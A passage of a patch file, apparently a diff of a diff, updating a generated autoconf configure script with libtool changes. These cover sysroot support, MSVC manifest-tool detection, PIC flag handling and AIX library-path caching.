+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -6696,8 +7023,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -6734,6 +7061,18 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
++
++
+
+
+
+@@ -6750,6 +7089,43 @@ fi
+
+
+
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -6961,6 +7337,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -7524,6 +8017,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -8108,8 +8603,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -8275,6 +8768,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -8337,7 +8836,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8394,13 +8893,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8461,6 +8964,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -8811,7 +9319,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -8910,12 +9419,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -8929,8 +9438,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -8948,8 +9457,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8995,8 +9504,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9126,7 +9635,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9139,22 +9654,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -9166,7 +9688,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9179,22 +9707,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -9239,20 +9774,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -9313,7 +9891,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -9321,7 +9899,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -9337,7 +9915,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9361,10 +9939,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9443,23 +10021,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9544,7 +10135,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -9563,9 +10154,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
